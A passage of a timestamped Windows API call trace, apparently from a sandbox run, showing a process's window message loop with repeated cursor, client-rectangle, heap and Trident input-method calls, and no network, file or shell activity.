(lpMsg=0x30f8cc) returned 0x0 [0170.097] GetCapture () returned 0x0 [0170.097] WindowFromPoint (Point=0x113) returned 0x60018 [0170.097] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0170.097] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0170.098] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0170.098] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0170.098] GetCurrentThreadId () returned 0xcd8 [0170.098] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0170.409] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0170.409] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0170.409] GetCapture () returned 0x0 [0170.410] WindowFromPoint (Point=0x113) returned 0x60018 [0170.410] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0170.410] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0170.410] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0170.410] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0170.410] GetCurrentThreadId () returned 0xcd8 [0170.410] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0170.721] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0170.721] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0170.722] GetCapture () returned 0x0 [0170.722] WindowFromPoint (Point=0x113) returned 0x60018 [0170.722] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0170.722] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0170.722] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0170.722] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0170.722] GetCurrentThreadId () returned 0xcd8 [0170.722] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0171.034] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0171.034] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0171.034] GetCapture () returned 0x0 [0171.034] WindowFromPoint (Point=0x113) returned 0x60018 [0171.034] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0171.034] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0171.034] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0171.034] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0171.034] GetCurrentThreadId () returned 0xcd8 [0171.035] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0171.345] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0171.345] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0171.345] GetCapture () returned 0x0 [0171.345] WindowFromPoint (Point=0x113) returned 0x60018 [0171.346] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0171.346] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0171.346] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0171.346] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0171.346] GetCurrentThreadId () returned 0xcd8 [0171.346] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0171.657] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0171.657] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0171.657] GetCapture () returned 0x0 [0171.657] WindowFromPoint (Point=0x113) returned 0x60018 [0171.657] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0171.658] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0171.658] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0171.658] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0171.658] GetCurrentThreadId () returned 0xcd8 [0171.658] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0171.969] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0171.969] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0171.969] GetCapture () returned 0x0 [0171.969] WindowFromPoint (Point=0x113) returned 0x60018 [0171.969] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0171.970] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0171.970] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0171.970] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0171.970] GetCurrentThreadId () returned 0xcd8 [0171.970] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0172.281] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0172.281] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0172.282] GetCapture () returned 0x0 [0172.282] WindowFromPoint (Point=0x113) returned 0x60018 [0172.282] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0172.282] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0172.282] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0172.282] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0172.282] GetCurrentThreadId () returned 0xcd8 [0172.282] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0172.593] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0172.593] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0172.593] GetCapture () returned 0x0 [0172.593] WindowFromPoint (Point=0x113) returned 0x60018 [0172.593] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0172.593] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0172.594] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0172.594] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0172.594] GetCurrentThreadId () returned 0xcd8 [0172.594] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0172.905] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0172.905] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0172.905] GetCapture () returned 0x0 [0172.905] WindowFromPoint (Point=0x113) returned 0x60018 [0172.905] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0172.905] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0172.906] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0172.906] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0172.906] GetCurrentThreadId () returned 0xcd8 [0172.906] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0173.218] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0173.218] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0173.218] GetCapture () returned 0x0 [0173.218] WindowFromPoint (Point=0x113) returned 0x60018 [0173.218] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0173.218] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0173.218] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0173.218] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0173.218] GetCurrentThreadId () returned 0xcd8 [0173.218] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0173.529] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0173.529] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0173.529] GetCapture () returned 0x0 [0173.529] WindowFromPoint (Point=0x113) returned 0x60018 [0173.529] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0173.529] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0173.529] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0173.530] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0173.530] GetCurrentThreadId () returned 0xcd8 [0173.530] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0173.946] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0173.946] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0173.946] GetCapture () returned 0x0 [0173.946] WindowFromPoint (Point=0x113) returned 0x60018 [0173.946] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0173.946] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0173.946] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0173.946] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0173.946] GetCurrentThreadId () returned 0xcd8 [0173.946] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0174.153] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0174.153] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0174.153] GetCapture () returned 0x0 [0174.153] WindowFromPoint (Point=0x113) returned 0x60018 [0174.154] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0174.154] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0174.154] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0174.154] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0174.154] GetCurrentThreadId () returned 0xcd8 [0174.154] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0174.465] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0174.465] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0174.465] GetCapture () returned 0x0 [0174.465] WindowFromPoint (Point=0x113) returned 0x60018 [0174.465] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0174.466] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0174.466] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0174.466] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0174.466] GetCurrentThreadId () returned 0xcd8 [0174.466] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0174.777] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0174.777] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0174.777] GetCapture () returned 0x0 [0174.777] WindowFromPoint (Point=0x113) returned 0x60018 [0174.777] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0174.777] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0174.777] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0174.778] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0174.778] GetCurrentThreadId () returned 0xcd8 [0174.778] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0175.089] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0175.089] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0175.089] GetCapture () returned 0x0 [0175.089] WindowFromPoint (Point=0x113) returned 0x60018 [0175.089] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0175.089] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0175.089] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0175.090] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0175.090] GetCurrentThreadId () returned 0xcd8 [0175.090] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0175.401] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0175.401] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0175.401] GetCapture () returned 0x0 [0175.402] WindowFromPoint (Point=0x113) returned 0x60018 [0175.402] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0175.402] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0175.402] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0175.402] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0175.402] GetCurrentThreadId () returned 0xcd8 [0175.402] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0175.713] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0175.713] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0175.713] GetCapture () returned 0x0 [0175.713] WindowFromPoint (Point=0x113) returned 0x60018 [0175.713] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0175.713] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0175.713] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0175.714] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0175.714] GetCurrentThreadId () returned 0xcd8 [0175.714] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0176.025] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0176.025] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0176.025] GetCapture () returned 0x0 [0176.025] WindowFromPoint (Point=0x113) returned 0x60018 [0176.025] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.025] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0176.025] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0176.025] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0176.026] GetCurrentThreadId () returned 0xcd8 [0176.026] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0176.340] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0176.340] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0176.340] GetCapture () returned 0x0 [0176.340] WindowFromPoint (Point=0x113) returned 0x60018 [0176.341] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.341] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0176.341] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0176.341] PtInRect (lprc=0x30f390, pt=0x5c) returned 1 [0176.341] GetCurrentThreadId () returned 0xcd8 [0176.341] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0176.410] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.410] GetClientRect (in: hWnd=0x60018, lpRect=0x30f570 | out: lpRect=0x30f570) returned 1 [0176.410] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f580 | out: lpPoint=0x30f580) returned 1 [0176.410] PtInRect (lprc=0x30f570, pt=0x2d5) returned 1 [0176.410] GetCurrentThreadId () returned 0xcd8 [0176.410] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.410] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f5f0 | out: lpPoint=0x30f5f0) returned 1 [0176.411] GetMessageTime () returned 302548 [0176.411] GetMessagePos () returned 0x2640113 [0176.411] GetCapture () returned 0x0 [0176.411] IntersectRect (in: lprcDst=0x30efe0, lprcSrc1=0x30efe0, lprcSrc2=0x30f070 | out: lprcDst=0x30efe0) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0176.411] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0176.411] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0176.411] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0176.411] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0176.411] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0176.411] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0176.411] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0176.412] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0176.412] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0176.412] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0176.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0176.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0176.412] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0176.412] PtInRect (lprc=0x30f348, pt=0x2d5) returned 1 [0176.412] PtInRect (lprc=0x30f1ec, pt=0x11a9e) returned 1 [0176.412] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0176.412] GetCursor () returned 0x10003 [0176.412] GetCurrentThreadId () returned 0xcd8 [0176.412] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0176.412] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0176.412] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.413] GetMessageTime () returned 302579 [0176.413] GetMessagePos () returned 0x10d038c [0176.413] GetCapture () returned 0x0 [0176.413] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0176.413] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0176.413] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0176.413] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0176.413] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0176.413] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0176.413] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0176.413] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0176.413] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0176.413] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0176.413] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0176.413] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0176.414] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x814100 [0176.414] GetCurrentThreadId () returned 0xcd8 [0176.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0176.414] PtInRect (lprc=0x30f3d0, pt=0x2d5) returned 1 [0176.414] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x4002d5, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0176.414] NtdllDefWindowProc_W () returned 0x0 [0176.414] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x814100 | out: hHeap=0x7f0000) returned 1 [0176.414] GetCurrentThreadId () returned 0xcd8 [0176.414] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0176.650] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0176.650] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0176.650] GetCapture () returned 0x0 [0176.651] WindowFromPoint (Point=0x38c) returned 0x60018 [0176.651] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.651] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0176.651] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0176.651] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0176.651] GetCurrentThreadId () returned 0xcd8 [0176.651] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0176.962] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0176.962] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0176.962] GetCapture () returned 0x0 [0176.962] WindowFromPoint (Point=0x38c) returned 0x60018 [0176.962] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0176.962] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0176.962] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0176.962] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0176.962] GetCurrentThreadId () returned 0xcd8 [0176.962] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0177.273] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0177.273] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0177.273] GetCapture () returned 0x0 [0177.273] WindowFromPoint (Point=0x38c) returned 0x60018 [0177.273] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0177.274] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0177.274] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0177.274] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0177.274] GetCurrentThreadId () returned 0xcd8 [0177.274] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0177.587] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0177.587] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0177.587] GetCapture () returned 0x0 [0177.587] WindowFromPoint (Point=0x38c) returned 0x60018 [0177.587] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0177.587] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0177.587] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0177.587] PtInRect (lprc=0x30f390, pt=0x2d5) returned 1 [0177.587] GetCurrentThreadId () returned 0xcd8 [0177.587] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0178.058] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0178.058] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0178.058] GetCapture () returned 0x0 [0178.058] WindowFromPoint (Point=0x38c) returned 0x60018 [0178.058] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0178.058] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0178.058] ScreenToClient (in: hWnd=0x60018, 